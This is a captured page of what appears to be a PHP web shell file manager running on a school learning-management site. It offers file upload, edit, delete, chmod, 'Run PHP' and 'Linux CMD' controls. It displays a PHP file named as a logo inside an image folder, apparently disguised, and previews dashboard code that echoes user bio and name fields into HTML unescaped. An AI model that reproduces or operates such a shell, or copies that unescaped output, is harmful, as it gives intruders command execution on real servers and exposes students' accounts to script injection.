๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
๐งช PHP Preview
<div class="modal fade" id="lightboxFoto" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered text-center"> <div class="modal-content bg-transparent border-0"> <img src="assets/img/profile/<?= $me['foto_profil'] ?: 'default.png' ?>" class="img-fluid rounded-box shadow-lg border border-3 border-info mx-auto" style="max-width: 80%; aspect-ratio: 1/1; object-fit: cover;"> <button type="button" class="btn btn-dark mt-3 rounded-pill px-4 mx-auto btn-sm" data-bs-dismiss="modal">Tutup</button> </div> </div> </div> <div class="modal fade" id="modalEdit" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content rounded-box border-0 shadow-lg" style="background: var(--side); overflow: hidden;"> <div class="modal-header border-0 p-4 pb-0"> <h5 class="modal-title fw-bold text-info">Edit Akun Peserta Didik</h5> <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button> </div> <form action="proses-update-profil.php" method="POST" enctype="multipart/form-data"> <div class="modal-body p-4"> <div class="row g-3"> <div class="col-12 text-center mb-3"> <img src="assets/img/profile/<?= $me['foto_profil'] ?: 'default.png' ?>" class="rounded-circle mb-3 border border-3 border-info" style="width: 90px; height: 90px; object-fit: cover;"> <input type="file" name="foto_profil" class="form-control mx-auto" style="max-width: 300px;" onchange="previewImage(this)"> </div> <div class="col-md-6"> <label class="small opacity-50 ms-2">Nama Lengkap</label> <input type="text" name="nama_lengkap" class="form-control" value="<?= $me['nama_lengkap'] ?>" required> </div> <div class="col-md-6"> <label class="small opacity-50 ms-2">Password Baru (Opsional)</label> <input type="password" name="new_password" class="form-control" placeholder="Kosongkan jika tidak ganti"> </div> <div class="col-12"> <label class="small opacity-50 ms-2">Bio Singkat</label> <textarea name="bio" class="form-control" rows="2"><?= $me['bio'] ?></textarea> </div> </div> </div> <div class="modal-footer border-0 p-4 pt-0"> <button type="submit" name="update_profil" class="btn btn-info w-100 fw-bold py-3 text-dark rounded-box">SIMPAN PERUBAHAN</button> </div> </form> </div> </div> </div> <footer class="text-center pb-4 opacity-50 small"> © <?= date('Y') ?> Birulogi LMS Social. All rights reserved. <br> <span class="text-info">birulogi</span> </footer> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> <script src="https://unpkg.com/html5-qrcode"></script> <script> // Helper untuk mengambil warna CSS variable function getThemeColor(variable) { return getComputedStyle(document.body).getPropertyValue(variable).trim() || '#00d4ff'; } const sideColor = getThemeColor('--side'); const textColor = getThemeColor('--text'); const urlParams = new URLSearchParams(window.location.search); /* 1. SISTEM QR SCANNER (ABSENSI) */ let html5QrCode; function mulaiScan() { document.getElementById('reader-container').classList.remove('d-none'); html5QrCode = new Html5Qrcode("reader"); const config = { fps: 15, qrbox: { width: 250, height: 250 } }; html5QrCode.start({ facingMode: "environment" }, config, (decodedText) => { stopScan(); prosesAbsensi(decodedText); }).catch(err => { Swal.fire({ icon: 'error', title: 'Kamera Error', background: sideColor, color: textColor }); }); } function stopScan() { if (html5QrCode) { html5QrCode.stop().then(() => { document.getElementById('reader-container').classList.add('d-none'); }); } } function prosesAbsensi(kodeQR) { fetch('./tukang-ngatur/proses-absen.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'qr_content=' + encodeURIComponent(kodeQR) }) .then(res => res.json()) .then(data => { Swal.fire({ icon: data.status === 'success' ? 'success' : 'error', title: data.status === 'success' ? 'Berhasil' : 'Gagal', text: data.message, background: sideColor, color: textColor }).then(() => { if(data.status === 'success') location.reload(); }); }); } /* 2. FITUR SOSIAL (LIKE, FOLLOW, KOMEN, HAPUS) */ function aksiLike(id) { fetch('proses-sosial.php?aksi=like&id=' + id) .then(res => res.json()) .then(data => { if(data.status === 'success') { const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 1000, background: '#00d4ff', color: '#000' }); Toast.fire({ icon: 'success', title: data.msg }).then(() => location.reload()); } }); } function aksiFollow(idUser) { fetch('proses-sosial.php?aksi=follow&id=' + idUser) .then(res => res.json()) .then(data => { if(data.status === 'success') { Swal.fire({ icon: 'success', title: data.msg, toast: true, position: 'top-end', showConfirmButton: false, timer: 1500, background: '#00d4ff', color: '#000' }) .then(() => location.reload()); } }); } function toggleKomentar(id) { document.getElementById('comment-area-' + id).classList.toggle('d-none'); } function kirimKomentar(id) { const input = document.getElementById('input-kom-' + id); const isi = input.value.trim(); if(!isi) return; fetch('proses-sosial.php?aksi=komentar', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `id=${id}&isi=${encodeURIComponent(isi)}` }) .then(res => res.json()) .then(data => { if(data.status === 'success') location.reload(); }); } function konfirmasiHapus(idPost) { Swal.fire({ title: 'Hapus Postingan?', text: "Peserta didik, data yang dihapus tidak bisa kembali!", icon: 'warning', showCancelButton: true, confirmButtonColor: '#d33', cancelButtonColor: '#3085d6', confirmButtonText: 'Ya, Hapus!', background: sideColor, color: textColor }).then((result) => { if (result.isConfirmed) { window.location.href = 'proses-post.php?aksi=hapus&id=' + idPost; } }); } /* 3. UI HANDLER (THEME & PREVIEW) */ window.toggleTheme = function() { const b = document.body; const currentTheme = b.getAttribute('data-theme') || 'dark'; const newTheme = (currentTheme === 'dark') ? 'light' : 'dark'; b.setAttribute('data-theme', newTheme); localStorage.setItem('theme', newTheme); // Update icon matahari/bulan di sidebar const icon = document.getElementById('t-icon'); if(icon) { icon.className = (newTheme === 'dark') ? 'fas fa-sun me-2' : 'fas fa-moon me-2'; } // Opsional: Jika ingin notifikasi saat ganti tema const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 1000 }); Toast.fire({ icon: 'info', title: `Mode ${newTheme} aktif` }); }; (function() { const savedTheme = localStorage.getItem('theme') || 'dark'; document.body.setAttribute('data-theme', savedTheme); })(); function previewImage(input) { if (input.files && input.files[0]) { const reader = new FileReader(); reader.onload = function(e) { // Untuk preview di modal edit const modalImg = document.querySelector('#modalEdit img'); if(modalImg) modalImg.src = e.target.result; // Untuk preview di form postingan (jika ada) const postImg = document.getElementById('img-preview'); const postContainer = document.getElementById('preview-container'); if(postImg) { postImg.src = e.target.result; postContainer.classList.remove('d-none'); } } reader.readAsDataURL(input.files[0]); } } // Notifikasi Status URL if (urlParams.get('status') === 'success') { Swal.fire({ icon: 'success', title: 'Berhasil Terbit!', background: sideColor, color: textColor, timer: 2000 }); window.history.replaceState({}, document.title, "dashboard-pemakai.php"); } else if (urlParams.get('status') === 'deleted') { Swal.fire({ icon: 'success', title: 'Dihapus!', text: 'Postingan telah dibersihkan.', background: sideColor, color: textColor }); } </script> </body> </html>
Run PHP
๐ฅ Linux CMD
Run CMD